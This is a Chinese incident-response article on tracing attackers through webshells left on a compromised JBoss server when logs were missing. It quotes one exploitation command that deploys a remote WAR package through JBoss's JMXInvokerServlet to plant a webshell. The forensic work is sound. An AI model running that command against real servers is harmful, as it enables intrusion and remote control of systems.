由Webshell溯源攻击者的入侵途径

admin 2022年7月12日08:28:58评论40 views字数 2259阅读7分31秒阅读模式

前不久接到一次应急响应任务,某集团的网站被种植了后门,我们的工作就是查找攻击者的入侵途径,分析网站存在的安全问题,并清除掉网站上所有的webshell,并找到攻击者的ip地址。

本次任务的难点在于,管理员提供给我们的只有打包后的源码及日志。经过查看各种配置文件,发现受攻击的ip是一台内网的linux服务器,外网ip80端口由nginx转发到内网的192.168.1.X服务器上的jboss中间件的8080端口。分析到这里,马上会想到可能是jboss中间件出问题了,jboss入侵的大体思路,jboss最常见的漏洞就是jboss命令执行了。随着后续分析的深入,发现也有攻击者利用jboss匿名访问漏洞上传shell。按平时的分析步骤,接下来只需查看日志就可以分析出攻击者是否是利用这种漏洞进行攻击的,但事实上没有这么简单。

我们从打包的文件夹中,找到了半天,也没发现任何有价值的线索,最后查看server.xml文件得知,以下关键内容被注释掉,也就是说jboss的应用程序访问日志记录功能没有开启。

由Webshell溯源攻击者的入侵途径

而另一个重要的日志server.log日志为空。

由Webshell溯源攻击者的入侵途径

这意味应急响应中最重要的日志分析这一环节空缺了,在不依赖日志分析的情况下如何去溯源攻击者的入侵行为呢? 

这里就要讲到一个jboss命令执行漏洞的细节了。大家都知道,jboss命令执行漏洞的利用方法是使用java -jar jboss_exploit_fat.jar -i http://x.x.x.x:8080/invoker/JMXInvokerServletinvoke jboss.system:service=MainDeployer deploy http://www.xxx.com/demo/test111.war这个命令远程部署一个war包,默认应该是会在/tmp/目录下留下jartmp2255450685281709390test111.war及解压后的tmp2255450685281709390test111-exp.war文件夹,然后我们访问http://x.x.x.x:8080/test111/test111.jsp就成功地拿到一个webshell

由Webshell溯源攻击者的入侵途径
  但是分析本次实例中的/tmp文件夹发现,里面竟然是空的。

由Webshell溯源攻击者的入侵途径

这里需要讲另一个关键点:当jboss中间件重启之后,默认tmp文件夹会全部清空的。那我们是不是没有办法找到jboss命令执行的痕迹了呢。

实际上在对应的localhost文件夹下,java写的webshell会留有相对应的.java.class文件的,并且这些文件在jboss重启后不会删除的。攻击者通过漏洞上传完webshell后,进行一系列恶意操作之后,通常会清理掉webshell,但是很少有攻击者会考虑到localhost文件夹下也是留有痕迹的。

接下来跳转到localhost目录下,可以发现很多webshell。在这个重要的localhost文件夹下,总共发现了13webshell后门。

由Webshell溯源攻击者的入侵途径
  比较有趣的是第一个webshell,它以“_”命名,这是攻击者的一个障眼法,第一眼看会误以为是系统自带的一个文件夹,但是一层层目录打开之后,发现了其中的webshell

由Webshell溯源攻击者的入侵途径

接下来还要继续检查其它地方有没有webshell后门,很快deploy下面还藏有第14upload.war包后门。

由Webshell溯源攻击者的入侵途径

这个后门让我们疑惑不解。前面讲到,通过jboss命令执行漏洞上传的webshell,在中间件重启之后会自动清除的,那么这个war包的shell为什么没被清空呢?后来经过一番思索,不是jboss命令执行,那么应该是另一名攻击者以jboss匿名访问漏洞直接上传的war包。

接下来,在正常应用zjgf-inter文件夹下,发现了第15webshell。这个webshell的上传者也很聪明,他为自己留的shell命名了一个与正常应用文件gjcesjsp相似的名字gic.jsp来迷惑我们,让管理员误以为这是正常web应用的一部分。

由Webshell溯源攻击者的入侵途径
  最后在做排查时,发现了一个差点被遗漏的webshell,这个shell比较特殊,真正的.jar格式的,是一个反射型webshell,可以过很多杀软的查杀。

由Webshell溯源攻击者的入侵途径

使用jd-gui反编译工具可以很轻易看出此webshell的源码

由Webshell溯源攻击者的入侵途径

继续寻找,找到了一个Freebsd,这是攻击者遗留的linux后门。

由Webshell溯源攻击者的入侵途径

由于这次任务没有可靠的日志做支撑,又不能提供服务器权限,找到攻击者的ip几乎不可能。但是这个linux远控让我们看到了希望,将此后门放在虚拟机里运行,netstat -an成功追查到攻击者的ip

由Webshell溯源攻击者的入侵途径
总结:

1、没有日志支撑的前提下,还是可以通过其它手段查到攻击者的蛛丝马迹的。本次实例中,攻击者遗留的webshell起到了关键作用。

2、不同的攻击者有不同的入侵思路,因而使用了不同的攻击手段,同时他们所使用的webshell也有很大差别,除了常见的.jsp.war格式外,还发现了一个反射型后门。

3、在网站遭受入侵时,管理员不要急于删除攻击者留下的后门,应该及时联系网络安全人员到场协助处理。因为管理员毕竟网络安全经验有限,随意删文件的结果,可能把攻击者的痕迹一并给清理掉了,对于溯源攻击者的入侵行为带来很大困难。

PS:接下来我们将公开一些关于此次发现的Webshell样本的IOC文件,供大家参考。




欢迎关注守望者实验室,我们会不定期推出一些安全场景分析技术类文章。由Webshell溯源攻击者的入侵途径


原文始发于微信公众号(守望者实验室):由Webshell溯源攻击者的入侵途径

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月12日08:28:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   由Webshell溯源攻击者的入侵途径http://cn-sec.com/archives/1104592.html

发表评论

匿名网友 填写信息